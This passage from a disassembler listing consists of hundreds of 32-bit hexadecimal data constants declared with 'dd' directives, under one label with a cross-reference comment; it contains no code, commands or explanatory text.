		dd 4F810FCh, 7D5191C0h,	3A76C5C0h, 97C74E11h, 0E617AE8Ah
		dd 9619A530h, 7E6F346Fh, 149A2467h, 59C503F9h, 89B916B0h
		dd 31DE0876h, 4F203E25h, 0A15FF41Eh, 0E3AB89F1h, 362A85C7h
		dd 455E38DDh, 0CD42A44h, 6898EB6Eh, 266AEECEh, 9E684469h
		dd 466C5A5Ah, 0DA6C1E3Ch, 0F3F1906Fh, 6FBC0009h, 0B5D959E9h
		dd 0DA422DE0h, 8BE7E93Dh, 6AC584DDh, 1B383AB5h,	157C90FDh
		dd 3F5400Bh, 80E76919h,	0E9A5B311h, 0A94A8282h,	0CA1811CEh
		dd 369642C9h, 85A8B2DDh, 5E981B77h, 893C1603h, 0CAFA917Ah
		dd 92FCFD6Ah, 1B72A430h, 5650EA23h, 408EA338h, 1FBE0859h
		dd 0F4F538F9h, 0E9EF0AF7h, 0B1793CCCh, 0F7F37F0Eh, 9B76D6A3h
		dd 0F88E85D6h, 584E67D9h, 410D6F2Ch, 55202C49h,	61354A4Bh
		dd 0A75DE78Bh, 0B7D07D35h, 74B70C08h, 11D798A7h, 61941BD9h
		dd 619E1A06h, 2F4C84CEh, 0A7DC0BA5h, 503D47FCh,	815D3285h
		dd 4897CDB8h, 6392B1A2h, 25B28AD0h, 1268E04Ah, 4B4BAACAh
		dd 0C71D00BEh, 614A3522h, 0D5564D86h, 1295FEE9h, 0E01CD0E5h
		dd 2EFC3B53h, 8C45CB14h, 9680A8F3h, 1D89CE20h
dword_49005C	dd 762EC388h, 81F9C4DEh, 5787DF13h, 0C0695215h,	4534824Bh
					; DATA XREF: seg000:off_4255FCo
		dd 847ED55Ch, 134BA15Dh, 0F909E73Fh, 0C2FEE3Dh,	0F968E04Eh
		dd 0ADCF91Dh, 0A8F48E47h, 9C0CF927h, 8B39DB3Fh,	6841C2D3h
		dd 0E54CA915h, 3F622ACCh, 4D2AE6A6h, 2C1F6558h,	4393E546h
		dd 8BBEAB09h, 0D8A8E089h, 30B19F5Ch, 17DF0D45h,	4A6D49E7h
		dd 348A0128h, 0CCAC9809h, 21E2E3F3h, 0FEC9DC52h, 0F035A286h
		dd 1B14B46Bh, 171615EAh, 0E5D5B715h, 68A5F290h,	452FA4A7h
		dd 93CC371Fh, 0F939B110h, 0BE0A9AACh, 74FE0C72h, 132DD6FAh
		dd 9660DED5h, 0C232A882h, 3BFB033Fh, 1104741Dh,	0DFB2F240h
		dd 700D7D91h, 39CC6EA4h, 4B944C3Fh, 0D57B565Fh,	9A9A9950h
		dd 0B375D3FBh, 335A67B6h, 20805AF0h, 0CA7E6A77h, 145F4D37h
		dd 0BF0223E9h, 880AA349h, 89527233h, 72686D4Eh,	0D3D07516h
		dd 7A283A9h, 4136EECDh,	28CBC818h, 98C9D592h, 99A12CFAh
		dd 0F440D135h, 0ABB8CF5Bh, 74EC04E1h, 7D3FE31h,	8ECCA2FCh
		dd 48EE9625h, 0AF9B6D8Eh, 762D0637h, 2B0A47B2h,	4EDCA5A4h
		dd 1E33D3C5h, 393C64B6h, 0A7AA6EBFh, 0BC69E1Ch,	0FF53BDD0h
		dd 4C1E5F85h, 6CB8FDB0h, 90568295h, 9C0102FCh, 51AC37E2h
		dd 0F5820E4Bh, 0E5F58CC8h, 5363A4D0h, 4C606123h, 6664966Ch
		dd 3D8C3E4Bh, 0F628ABE8h, 0C874300Fh, 9525FB33h, 0ECB1BCD3h
		dd 0A90C32F5h, 0B7BE813Ch, 553C55ADh, 0DFE2E65Bh, 0EDBBB9AEh
		dd 99E9BAC5h, 84E0100h,	2EAD6137h, 6612D7ABh, 99B06FE8h
		dd 0C280C5B5h, 0B3704AB8h, 6A2028EEh, 13207556h, 7152303Dh
		dd 869673DDh, 41962273h, 85345A03h, 15EE6495h, 1B458E95h
		dd 260A004h, 7AD983Eh, 0F8E2A854h, 0DED3592Ah, 8CA460E8h
		dd 596541CEh, 0DA9AF6A4h, 0B32F15F5h, 632D5FDCh, 1F2A8347h
		dd 7D387A81h, 0A8D4B1F9h, 489B1F5Eh, 0FB2502CCh, 29560359h
		dd 28EAE53Ah, 30ABDFE5h, 34998E7Fh, 379250C4h, 0EC126030h
		dd 0B08BAC2Dh, 0CE64DC4Dh, 0BC6CCE4Ch, 7D488578h, 0BD1084E5h
		dd 55851029h, 14CB5006h, 0C3C887D4h, 23BAF311h,	0D7D0B65Dh
		dd 9C2A6CF9h, 0CBB2FA10h, 0D898E9E4h, 8964FFEDh, 0F7C418B3h
		dd 5AB9AD9Bh, 1D27C183h, 0DEE5B525h, 20835DB4h,	22672C00h
		dd 0E47C8C7h, 0B9606E3h, 0A03D416Bh, 19D2C5D2h,	0ED6954B7h
		dd 95E5190Ch, 0A1CC0972h, 0CDC559E3h, 674EF16Dh, 984BDB38h
		dd 20234B32h, 15D24A6Fh, 0E2FABE6Bh, 34DD7330h,	5EDC4B26h
		dd 0B461DAD2h, 0C7FFE882h, 38C791B0h, 9BE76F5Ch, 0CE312F20h
		dd 12AC8FE9h, 2E2ED17Fh, 0B77347DEh, 0E79A04C1h, 0F36E0025h
		dd 4A464FB8h, 85CA2378h, 6CFEF221h, 0A58BE74h, 172B0FB2h
		dd 2C076450h, 89DBEF99h, 7C90057Ch, 1826BC1Bh, 61E83786h
		dd 105B2C8Ah, 60E46377h, 0C0A58788h, 0AB612BB1h, 0FBA6F856h
		dd 2C11E463h, 0B3B4E5BEh, 2AFC2FE9h, 0EF8F73F5h, 663F8A96h
		dd 6AAC2FE0h, 818BE85Ah, 0A806BDEDh, 4364C0E0h,	0FC9CBD22h
		dd 2117491Dh, 4214447Fh, 607710D6h, 0BF2E1E13h,	678248B5h
		dd 977CA7D4h, 0B7D35917h, 0D9690E67h, 538EB842h, 981C9C78h
		dd 606149A0h, 593C84EAh, 65AD7895h, 0F82E657h, 5D6ADC14h
		dd 34C3BB41h, 0E217C105h, 0C1E4CD94h, 0FE9D53Fh, 0C12074ABh
		dd 0FEE08288h, 0A1358E5Bh, 4335E047h, 0B7F6D8B6h, 0F03B12D2h
		dd 0DFBEA403h, 0CD789B80h, 1F42A6A0h, 0D7A20F3Ah, 691230E5h
		dd 1C79B03h, 23B89FA1h,	19F0B673h, 9AD32E64h, 3DEB8A5Bh
		dd 67F8FF37h, 72204796h, 499373D0h, 0B1948F48h,	0DB9A97D6h
		dd 0AC48D912h, 0F76609A2h, 0A986B68Ch, 89F92CEh, 87874093h
		dd 50D1D4B5h, 120FA91Bh, 0B86801FCh, 48051351h,	0CC6C816Fh
		dd 4B30A893h, 92AEB702h, 2E1E2B21h, 0CF98C5E6h,	944BAF81h
		dd 4858BF31h, 0C5EFF32Ah, 0E31B7452h, 0ACB35E60h, 8B657899h
		dd 0F7AE5D15h, 0F670DD96h, 0A2F1E7EFh, 1CE0029Ch, 4F29FEACh
		dd 4DA6F88Eh, 50DBC835h, 0AB91C906h, 629052B3h,	0D0ED24DCh
		dd 1B37C8DEh, 0F585268Ah, 0F011C9F4h, 245A4B5Bh, 0F448CC05h
		dd 4B75B91Bh, 0F99ED0D7h, 0EA1E7E09h, 0ED7AEEF2h, 6243EB98h
		dd 14EE4D2Eh, 0BA691FD1h, 0B3A25A2h, 82ED5D67h,	11A7ACC6h
		dd 2A6CAF62h, 3CD0AE25h, 4ED044EBh, 2A155D1Ah, 0F9F805DFh
		dd 6BA9F552h, 0CF6B72B7h, 0B077FB8Bh, 0BFD17323h, 5D2EFC6Fh
		dd 861F9CA9h, 4C8306A4h, 60880C52h, 1935BF8Eh, 8C4E3513h
		dd 0F29F6C87h, 0FC6AB9B5h, 0C53629D6h, 31FEBE04h, 4853E214h
		dd 681BF018h, 2D294B0Fh, 0DD356F98h, 0D2265E8Bh, 0FC1AAFF0h
		dd 8E2592B1h, 0BC00623Ch, 0D09E3AB7h, 86EEC04Ch, 69589ECBh
		dd 8234B1C1h, 8FC3CF1Fh, 379609C9h, 3BA6701Ch, 0B0AD121h
		dd 0CEB08595h, 0A7425E5Bh, 0B874381Dh, 6AF665F4h, 44C7CA33h
		dd 537902C4h, 942CC8FFh, 30A89049h, 4AFA170Dh, 5146D5EAh
		dd 11C72AB8h, 0EBE09A78h, 3A5D039Bh, 47EAB8Fh, 430AED98h
		dd 625151E9h, 0E0803C18h, 0BC52B8ADh, 0DF41587Bh, 0C60611D7h
		dd 4BC3C922h, 0E65153C7h, 0DE7C3A15h, 0E87F22DBh, 0BFB7D5B2h
		dd 14F33484h, 8397E2EBh, 2AFDF9EAh, 80BDEB0Bh, 0A3003DABh
		dd 12D24930h, 9DAECBEEh, 0D97DE09Eh, 95AB60AEh,	0BD42932Dh
		dd 1F1DE4E0h, 0F92D058Bh, 0A283A3A6h, 654A152Bh, 326F351Eh
		dd 0FF513F4h, 5721003h,	73756168h, 1ED07F1Ah, 0C2D737B8h
		dd 1CC43200h, 94AC2654h, 2A55AE3Ch, 0B0233026h,	2ED75DE3h
		dd 85D31860h, 0C9DB5F75h, 425405CFh, 0DCBC4EEFh, 9FA9058Bh
		dd 6930B4A1h, 612B39BAh, 0D543F2DAh, 0D6743CE4h, 825DC930h
		dd 0FE1CB6ADh, 0D6D73D0Bh, 9CED8D69h, 0FE5775C9h, 4D1746E1h
		dd 728FF95Ah, 7CC397BBh, 27D995D0h, 240D687Bh, 0B8287F54h
		dd 0A1936C87h, 527ED38h, 0AC997453h, 5A7BED15h,	0AABCB676h
		dd 0A6EDCB77h, 0C76A91C5h, 6F425FF8h, 22763AAEh, 355536EEh
		dd 0CE24C7E8h, 354F263Bh, 745C12C1h, 0B51F578Eh, 9543E903h
		dd 7DC6E3DAh, 81DFF15h,	0C90BEE7Bh, 9F03BD11h, 62A368DEh
		dd 52D41A40h, 24A9617Bh, 37E01852h, 75F2A39Fh, 0BAE2F796h
		dd 0D5A4C79Ch, 74A893E8h, 0AF713DDCh, 0E7652B34h, 0EB69E973h
		dd 2C11D986h, 2708CB2Eh, 0B5923854h, 6270B70h, 0AFCC24EAh
		dd 1EA4931Bh, 0C6D8B3C7h, 0E18040C1h, 31713FD7h, 2C7ECDACh
		dd 844E1D28h, 46332CE4h, 0E5059C5Ah, 0DA712ED8h, 0B06539E2h
		dd 0C946591h, 2B939EA9h, 0AEBAC0F3h, 0D0141B52h, 2F0EE01Dh
		dd 0F80F928Ch, 6842E480h, 0D4CE4E5Dh, 7A206330h, 9D272F11h
		dd 0CF6867E0h, 0D6F00DD9h, 0C8AD1823h, 181512A3h, 1D3E0C3Ah
		dd 27AB415Ch, 1AD5D4DCh, 66A4B245h, 5AC4B830h, 5AE388DFh
		dd 78670BCDh, 570A368Bh, 0E3DED0EFh, 1D7567B9h,	3989EC9Dh
		dd 0F5A0918Fh, 0F96749F0h, 0FB3E102Ch, 8C98CB98h, 70BAFEDCh
		dd 0ED3478FFh, 9687E135h, 0F69CFFA4h, 217CE0C6h, 0AC906ACDh
		dd 2512BC02h, 68111F15h, 0E6CAB560h, 1D65D131h,	7A12C34h
		dd 796D95D5h, 78036E28h, 30914262h, 0C4007E05h,	82E7C48Eh
		dd 6F19CF10h, 72A064Eh,	4F328BF8h, 8B8DEA06h, 58823398h
		dd 4441AF65h, 0C8DDCAC4h, 3E317620h, 5610C1E1h,	3E8CE5CDh
		dd 6D1EEB8Bh, 1D3A4633h, 3075C328h, 0AEBAB91Ah,	10422EBFh
		dd 0C51C4EAAh, 0D3224DA4h, 0F247E598h, 6E21E1C4h, 910D709Eh
		dd 238C4FB8h, 0CA919B0Bh, 36A98484h, 77DBCE1h, 0BF901D5Dh
		dd 5624A1FBh, 0A0D74021h
		dd 85BE41EBh, 0DCB5C991h, 691F1112h, 59E0775Ah,	0B7B21225h
		dd 77DD51B3h, 0AA120C93h, 5DD46DA6h, 77E3CFAEh,	0D52D4582h
		dd 0D10C2ACh, 1F40DAB9h, 0D2132388h, 0B973796h,	0C829AF8h
		dd 30FD0445h, 0B32D0CE6h, 9B5FFAF6h, 5FAA5D1Fh,	0B435DD47h
		dd 39CD942Ch, 694311E8h, 0E0C437D3h, 0DAA1DB65h, 576AB5CAh
		dd 813F9C45h, 3E089236h, 47B8DB70h, 0C181D25Bh,	7C3B7AC4h
		dd 60D7BB28h, 0AEE55E60h, 990C1593h, 46D3A26Ah,	0BD737F84h
		dd 0E75E8E95h, 0BCEB62A7h, 8ED89636h, 0B5BB9C5Fh, 0A551D1EBh
		dd 4DD2CDE6h, 0B3360E20h, 0F378FBA3h, 7A92B165h, 0BFC8D743h
		dd 0C0FC9580h, 31798DD2h, 0DEA243F3h, 3480F85Dh, 62369DAh
		dd 0EDB2F960h, 0C485905Bh, 15ACB456h, 0E24FF8A9h, 0CC38E7Ch
		dd 236D207Bh, 0B15170E4h, 0FBBCF328h, 0A5EF2454h, 0A5659C62h
		dd 0A535BA6Bh, 2CB45F3Bh, 0EE1CCC88h, 4869B6E3h, 4A7A8758h
		dd 26FF8118h, 0C14C0728h, 744DD858h, 40311D89h,	54089FBh
		dd 7A24124Eh, 0E2E74C5h, 0A8C89F13h, 9CCDB0BAh,	56CDD291h
		dd 27D7DB14h, 15CC596Ah, 939D46A5h, 7CEEC405h, 2527B7F4h
		dd 0C5D4D707h, 16E8848Bh, 68F2EA2Eh, 0ADF1161Dh, 8DF6420Ch
		dd 6F3AD2DAh, 9BA054C2h, 4413A20Eh, 40788794h, 19F7A224h
		dd 71CB902Ch, 89AF789h,	54C0BF4Dh, 33B7F0E8h, 4C251A71h
		dd 0DCCE0149h, 1D1E7E6Dh, 0D7E48446h, 0D46249AFh, 1EB68CFDh
		dd 0FB16AAA4h, 426A7BDBh, 7DFCE66Eh, 0F00F9EB1h, 0FF866A26h
		dd 407E95FEh, 13FEB951h, 8FCA9779h, 9C7F636Bh, 0BE2E0EC4h
		dd 27FB29D8h, 0D9F04DACh, 826E0739h, 409B1E29h,	1904BCAAh
		dd 0B56F7F88h, 9215FEF3h, 0AA31BE0Ch, 86515AF0h, 0BCD163F2h
		dd 0D888E50Ah, 5ACE6161h, 9B97DF53h, 0B141DA1Dh, 5C33B3F5h
		dd 20D2DFh, 4437E3A2h, 9F498103h, 10A755A1h, 71DC1223h
		dd 5D2A0DA2h, 7E67DF92h, 1EDE3423h, 2FC801F9h, 24022332h
		dd 23545B4Bh, 0C3224728h, 0C9840C71h, 1B9BF0DDh, 2217495Eh
		dd 4654FC65h, 8DCAE19Fh, 5C6352AAh, 9B58BCF7h, 0C57F27BAh
		dd 7CAC4C20h, 4EFCFD7Eh, 449FD0D7h, 2B3AD67h, 60D28B2Ah
		dd 788C184Dh, 17003E0Bh, 7AA695CFh, 0DD177CBBh,	2810B507h
		dd 0AD2F3197h, 61C796B0h, 0A91BA922h, 8A45BEBDh, 339A7B7Eh
		dd 88106914h, 1C1EB3D6h, 0FAC2380Fh, 6D8F370Ah,	7255BABAh
		dd 664E93F3h, 0E3EDE2F2h, 278AC542h, 0A117ABB9h, 846F6561h
		dd 0A67200BCh, 89DE96DBh, 73EE9F0Dh, 5825FB47h,	97879316h
		dd 4EA268F8h, 0CAA79743h, 18C2192Bh, 221186FCh,	5C459B83h
		dd 0D719C0FDh, 0CC8407FDh, 0C61E4773h, 0B113357Fh, 368D1ACFh
		dd 337BCE29h, 82DE1126h, 304042Ah, 0ECD6020Bh, 0A48034B2h
		dd 0F61B8BCDh, 0D3A78459h, 91D488A5h, 7B4408CFh, 4F5ED5C0h
		dd 93EF6DF5h, 33E46087h, 0DEE9F942h, 275F44C5h,	0D5E4FD5Ch
		dd 3E03DCC0h, 0C4E55EDDh, 1C2FDC87h, 8A84355Ah,	0FBF3D8BEh
		dd 0F9C271EEh, 0C1AF9E25h, 6328B8E0h, 0E2C455EDh, 469E21D5h
		dd 6933E17Eh, 2909E905h, 0CA86A019h, 50521BA9h,	5A27E56Eh
		dd 0F3A81843h, 9400F696h, 42B966AFh, 0DA80662Eh, 8D9BABD2h
		dd 2C30EE84h, 166F48F7h, 0F47B615Fh, 0AB71D970h, 0B2D88EBFh
		dd 0D7BDFB7Ah, 0F003A621h, 0A8A31CDh, 0A7268E58h, 0DCA79B63h
		dd 2E80D31Dh, 7C53EAB9h, 0E9CD5789h, 0BDEAC382h, 0E4C820A6h
		dd 0CF313490h, 0EEEB4C68h, 1BCC263Fh, 4CAA2840h, 39228722h
		dd 1DE61153h, 0E7004D7Fh, 6A7C9AB2h, 5307C71Eh,	0A65FF0h
		dd 0B84094D4h, 90594152h, 47A3BD43h, 4C44DA44h,	6B8E7BFAh
		dd 932948C4h, 901FAA7h,	6CA3711Bh, 5313C014h, 55AF7C0Dh
		dd 0C9DA9C6Fh, 0B9E34DEh, 903A94F8h, 0E1469BA6h, 18D32995h
		dd 0CED1E894h, 8A979D1Eh, 6D22FD23h, 603F7C75h,	524B13B4h
		dd 0C617843Bh, 0E3BF3F60h, 0EA6A34CAh, 0C5F634CEh, 0C3B61357h
		dd 3727D064h, 998504FCh, 75248CD7h, 58EF783h, 0E4ADA00Fh
		dd 0C5253B87h, 5E216C72h, 10265247h, 14B728B5h,	58792F7Dh
		dd 0E5FD9EFFh, 0D2128FCAh, 31F4AE9Eh, 0BE306EB2h, 0E7186833h
		dd 3EF6E610h, 0ABA49B1h, 606178FCh, 670DE844h, 7A646EB0h
		dd 1D69A016h, 0E7CE34EEh, 0AC385EE9h, 0A798C056h, 6B673446h
		dd 0ABD0917Eh, 54C3F6F2h, 5ED11647h, 3FE2E106h,	0B9531A87h
		dd 11A40C5Dh, 0A7F6D808h, 11C6BC23h, 0E5E5B197h, 4B26698Dh
		dd 0E1B69141h, 0ED55C628h, 38F968E3h, 0FF447189h, 0AE658A3Eh
		dd 0BAAFF5E2h, 3BCCD755h, 314EB64Fh, 35BDFC58h,	0A53D666Ah
		dd 700A790Ah, 179FE8B6h, 0AC9EDFD5h, 0E1D523FDh, 0F084684Bh
		dd 956F8DD2h, 683441D0h, 5BAF7943h, 0F08015CCh,	592F9FFEh
		dd 53E461DFh, 9F01B00Dh, 547055AEh, 2B0027F9h, 32950819h
		dd 0EAE2EE6Ah, 0BA4B9B1Bh, 0E310BAADh, 22CA6889h, 0D92C6423h
		dd 93B54B5Bh, 0D4F6E3BBh, 0A0F7E752h, 15C428FCh, 0C033EA2h
		dd 0AFB1C77Ch, 9FA0C6EDh, 5009A62Ah, 7E254257h,	0D7B4B501h
		dd 525C1588h, 0CEBB88F7h, 0AB4FC5BCh, 0E063AAEh, 655DF05Bh
		dd 0AE78BE6Dh, 1CA26F36h, 11C710A5h, 7A71B49Ch,	90EF4B7Fh
		dd 1AED114Eh, 30B0A485h, 0B276D703h, 7EC2D986h,	0A49C4E25h
		dd 17DFE71h, 1DD8EB57h,	1923D4CEh, 170A1BE1h, 195E0E66h
		dd 8D3110A3h, 68BE5FAAh, 2AC4B5E1h, 99C0C823h, 4DD28C87h
		dd 46A073ADh, 0C416C16Ch, 0DFDC40B0h, 7669F460h, 77295B7Ch
		dd 0CF8F43B6h, 0D89518F4h, 8DB5F785h, 0A1B9DBBBh, 0A81888BAh
		dd 600686E5h, 0D0F40F14h, 5B08E030h, 355CE84Dh,	90DFC373h
		dd 0D96CD7B3h, 33FBBAA1h, 263F9991h, 0CFB7446Ch, 0F987C493h
		dd 443C765Dh, 0E6C96442h, 2C32DBCFh, 48C87FD8h,	0DDECF3DBh
		dd 4A02A987h, 350BB2FEh, 0CD36893Bh, 23AFFDA0h,	883F3EA7h
		dd 0CA4B419Ah, 0DB5BCDA8h, 0FD5FACF5h, 0E55FD399h, 9698634Fh
		dd 0F28AD013h, 4712A9ACh, 0A9FB7D1h, 1C902A77h,	0A55F3803h
		dd 3E2B60C9h, 0B65DB862h, 63147C45h, 877C4CF3h,	63605951h
		dd 0F8DFAFFh, 0B084D70Ch, 19B67FF8h, 539444B7h,	764A9213h
		dd 0BCBA5B4Bh, 0E1DEB7CEh, 41C42DB4h, 7BBFDA3Ah, 0AA284391h
		dd 32C2E2DEh, 0E166225h, 645A4377h, 0E6B299F0h,	0E42814D4h
		dd 0E2A54D8Dh, 6F5AF474h, 70FB1C7Ah, 115B80F3h,	0F008F7CAh
		dd 4E47F3A8h, 51E1557Bh, 663DBF84h, 0EA4B7CE9h,	0D0ECCE28h
		dd 3D1FBAF7h, 8E901B50h, 312A7BEEh, 0EC886832h,	8166B241h
		dd 8192E657h, 90675CE3h, 4A61BB1Ah, 0BA4C26C7h,	0F7D42F40h
		dd 1E419D4Ch, 45E6C8C6h, 0AF16B6B2h, 2A009697h,	99919528h
		dd 98E55EBFh, 0CDC648FFh, 3D09735Ch, 0D6A9C9E5h, 9901CF7h
		dd 9FEDB770h, 489CD9D2h, 17B850F6h, 0B93D53ECh,	105FCB7Ah
		dd 6E79F897h, 8F727AB6h, 2747B5D2h, 0EC25421Bh,	0A9CB9383h
		dd 0AC0B9CEh, 0F07DC7CEh, 0DCE5F8F5h, 0D130A8AFh, 9DA6419Dh
		dd 70FFB628h, 0E93FE665h, 5727F15Ch, 0EDE837BEh, 2551C0A3h
		dd 10372E54h, 0B44F0DA0h, 3DC2041Ah, 0E71B733Ah, 35B934h
		dd 21B6C6F2h, 72913EE5h, 0CAFE636Ah, 19D36177h,	3A65DA03h
		dd 4A076C51h, 7FBEA2B0h, 68A1524Eh, 0E05D463Ch,	0D066DB64h
		dd 4934EB9Bh, 26026004h, 49B0D7D4h, 136549A0h, 8D11A4E2h
		dd 3D92C8D6h, 713F8F61h, 9E3922B0h, 24F841E7h, 50A0C067h
		dd 5BB3CF21h, 2BC3FB5Ch, 0CB87821Dh, 88E19208h,	0F97FF73Fh
		dd 4A95C5C2h, 0D0F8EA1Ch
		dd 16452415h, 4378589Fh, 0C2E7A3C5h, 57FBC52Ah,	435A10F9h
		dd 1EACC5EEh, 3FBC7375h, 14A834B9h, 0F52829BEh,	9DC4E4F7h
		dd 2CB2DC80h, 0A06D76C9h, 0E11D6430h, 0F4E6D685h, 0A17AF705h
		dd 0B8451BCEh, 0F0B27F76h, 27003049h, 600D6774h, 3098052Dh
		dd 92B9B7E4h, 942FC2BBh, 3E18B052h, 123E069Dh, 128B81A7h
		dd 724495F9h, 0ADBE9AAh, 0E3EDA776h, 0B85BBAC5h, 0CC30A0AAh
		dd 931EA354h, 0E2F1168Fh, 266E2412h, 1E54FAE8h,	4E8FBC8h
		dd 93C6B758h, 0B687DFCh, 0E66D1CFBh, 1DA780CFh,	0B4B3082Ch
		dd 0D32EFE1Eh, 84CF10BAh, 7E54E707h, 0B701FB47h, 0F8A24770h
		dd 8EA6ED7Bh, 939C5855h, 8CAF8598h, 0EA5E75BAh,	0B236A431h
		dd 0AE8C10CCh, 28B5192Ah, 73AF5AAh, 0E19E096h, 20B24F22h
		dd 0DD0DA39Ah, 51B26CCEh, 0DAEC2698h, 0BCF82E4Dh, 6558790Ch
		dd 1CD3789Dh, 240BA659h, 433B1838h, 0CC8F721h, 447904ACh
		dd 4FAB2576h, 4D544139h, 57A6AED6h, 96F13638h, 43FF4E8Eh
		dd 0F249F5EEh, 0D892B536h, 0C6E3371Eh, 14874F37h, 0EE26D668h
		dd 0D0D52ED7h, 0D077222h, 0B6A31E64h, 32736EC5h, 7D7E7F41h
		dd 44762084h, 4C51BF56h, 0FE83FA39h, 3B0F12EAh,	0A724526Eh
		dd 3E48D792h, 0F22E7D29h, 0B2B10BEh, 219548B9h,	0DB2AC2EDh
		dd 735C7E2Eh, 0ECC7958Ch, 6BDAA9BCh, 0E92F5697h, 9AAD9484h
		dd 9337D542h, 4EB4DEDh,	21FBB8F6h, 0DC659635h, 1B942718h
		dd 0D6537414h, 0E26CE91Dh, 0CB80A23h, 0B82C6131h, 8C16EEB0h
		dd 0BC6F46A7h, 0EB7BC7C9h, 0C5BECDE8h, 36001879h, 0A9C7DC19h
		dd 392286DAh, 0DB3AD2FFh, 0FD995015h, 39D9AFE9h, 704FC4B4h
		dd 0B27B8A0h, 43391138h, 0DCD6A879h, 47F31FA5h,	983E6950h
		dd 2AB2B401h, 3331E343h, 350205E2h, 8AE2542Fh, 5B56F746h
		dd 0B762745Fh, 7B7FA14Dh, 0CC0CBCA0h, 0D8DFA12Fh, 92EA0BF8h
		dd 8699758Dh, 51131712h, 401CD2C5h, 208B1F18h, 5BBCDA90h
		dd 98654C76h, 2DCC7C1Fh, 292BFBF5h, 8D4B155Ch, 3F80F29Ah
		dd 2817BBA0h, 0ED6BFF9Fh, 3339B305h, 2EAB9804h,	189E0825h
		dd 0EF461514h, 0F910FEEBh, 2550A6EAh, 0FB770153h, 0CA47CFF2h
		dd 0E6D560Bh, 3AC68513h, 0A5E2AE5Ch, 56ADB34Ah,	8AB75D6h
		dd 0B58B41ACh, 0C19E6F4Eh, 858D6974h, 0BB6EF79Eh, 1B5D37E9h
		dd 0E805D1A3h, 9B7F28BBh, 0E0B7781Eh, 0D6EC1D78h, 2C968E44h
		dd 0B7E59F8Bh, 6C6C92FBh, 0FBCCD884h, 727E925Fh, 0BC849A8Eh
		dd 0D59D5983h, 35B1076Fh, 8B1389AEh, 0C56D3661h, 0C83AE398h
		dd 0AA67365Ah, 5862864Bh, 0C0F2709Bh, 0EDBFC70Dh, 8543DC4Eh
		dd 33E84494h, 0BAC74829h, 167F6305h, 0CABC5BB5h, 3D937835h
		dd 5BC88D6Eh, 3C4E60CCh, 6162A6DCh, 928E514Ch, 0D07186D5h
		dd 12CCB5D4h, 9F3CA933h, 5002F338h, 54BA413Dh, 18D8BF11h
		dd 0D32BF644h, 0C87AF800h, 29FAEECEh, 2CCAA27Eh, 9D6A8082h
		dd 0EA439762h, 0DE09CDA4h, 0D185D0FCh, 41707D50h, 7927CB3Bh
		dd 52B9291Eh, 0E3295ADFh, 2312A9E2h, 0F0282B05h, 0A607C823h
		dd 55958B2Bh, 231C1A45h, 0CF059462h, 91960482h,	9844EC5Ah
		dd 0ABBADE43h, 21C01C0Bh, 0EEB6D318h, 6E3C98B5h, 1CCE07B1h
		dd 26F5A92h, 3F3F98CDh,	0F253D3BDh, 0FA58DDA7h,	29ACA05h
		dd 7ABE43D7h, 32995272h, 695C0479h, 131E8BF6h, 0C57DE0E9h
		dd 688A7666h, 60681DA4h, 0A9C3BB60h, 2AD48E33h,	1743EAEFh
		dd 0B97191B0h, 0CEC1D69h, 0A777F7A8h, 0C33B95CEh, 5EE91A8Ch
		dd 306811FBh, 559A55B5h, 4286E5F1h, 1261A5EDh, 0DD54FC6Eh
		dd 19C3EA9h, 0E019340h,	4C413334h, 0FCBF9A4Ah, 0C6F34666h
		dd 4F285810h, 0B16712h,	0FC098F81h, 58FE8597h, 160AF1F2h
		dd 879BABA9h, 53D3E5D0h, 8E97FF25h, 80F70E04h, 4BF8DF8h
		dd 0BA3E9F28h, 0C87C9884h, 146A052Fh, 3A885850h, 50AC5509h
		dd 0B4389D8h, 40D5D28Bh, 3DF45AB8h, 0C5813069h,	0F7F5A66Ch
		dd 0CE1EC8C1h, 3E6EF8E7h, 0BD29DCD5h, 323AE542h, 66730A3Eh
		dd 31C26576h, 0A5A5FCAAh, 0DA4CFFE6h, 77094824h, 7FDF3B11h
		dd 0C4C4232Eh, 0C279EBDDh, 0DEFBDE3Eh, 2F099602h, 6E3EFD1Ch
		dd 0B0FFAD6Dh, 403BF41Ch, 35115E15h, 7EFB8F16h,	26C747CDh
		dd 131059DAh, 0D2CCFE3Bh, 0D20363AEh, 381AACAFh, 0FEAD299Eh
		dd 0DB81CB76h, 341DF1CFh, 0C09ECE96h, 0FE7857ECh, 0EC2219Fh
		dd 6B7B24ACh, 0A72F9AE2h, 86EA6817h, 79D37BCFh,	56DB5B18h
		dd 0EEB348CBh, 4DE2F369h, 4E21FB26h, 0E5E6C3FBh, 602FCF9Bh
		dd 0B1673FAEh, 3BB1479Ch, 55F80E7Eh, 20389D70h,	5723E642h
		dd 80213D8h, 28CE408Eh,	4C1CD987h, 0AB0B2175h, 0A2FC756Eh
		dd 0B262A2F4h, 7B8FACE2h, 0F35E8BDCh, 0F17B16D3h, 0BB4E469Ah
		dd 3EE9E273h, 8DBC77E7h, 31A33808h, 444037F1h, 0ADA09AD9h
		dd 33F2CEEFh, 0B73B0BB5h, 96F36E0Dh, 438AFE78h,	3C39CAC0h
		dd 21DCE2E8h, 0B633E606h, 647780AFh, 0C5688323h, 8C07F09Eh
		dd 0F74178D9h, 0C4FF5C9Bh, 49A4005Bh, 0F4FE0E8Eh, 11B23FBCh
		dd 1C981A76h, 527D4E1Fh, 4B18F427h, 0AE68CA23h,	5A90A625h
		dd 0A51E6ABAh, 473E4D64h, 257BBC5Dh, 851DB47Ah,	0E0FB8E5Eh
		dd 78A82194h, 44A25A98h, 5808FDE1h, 934EBF26h, 331EE1A5h
		dd 8DB309F5h, 540F98Fh,	0A2395483h, 2F064930h, 8877AB4Dh
		dd 26294050h, 0D2030D95h, 0C14EE0EDh, 0F069AAF1h, 42A9FDAFh
		dd 0D4F81062h, 73857EE1h, 956017E0h, 0C56C4D41h, 36364B14h
		dd 0FC75F564h, 8C988816h, 0A49C3803h, 4E9D30A4h, 5E35A5CAh
		dd 78971D83h, 580C4954h, 77A06970h, 2D83E371h, 795D42AFh
		dd 644C2A2Fh, 5FC3C9AAh, 0BCDF9430h, 0D5AE11E8h, 0C613B7E3h
		dd 0C944348Ah, 63812E4Ah, 0AD129546h, 0D9E06FE2h, 0CB942D08h
		dd 28356C38h, 0A5DC72E3h, 0DB1A10DEh, 0D6516DF0h, 0DE9E09C6h
		dd 0C3DEC5BAh, 545B5F20h, 16667A96h, 7E6490EFh,	0ED8BB42Ah
		dd 7617AB48h, 0FBD78D90h, 7C842CCFh, 0E3F5FBD1h, 8FC429F8h
		dd 658AA313h, 68A16642h, 80B29EECh, 0C6725CBh, 0B004FF7Dh
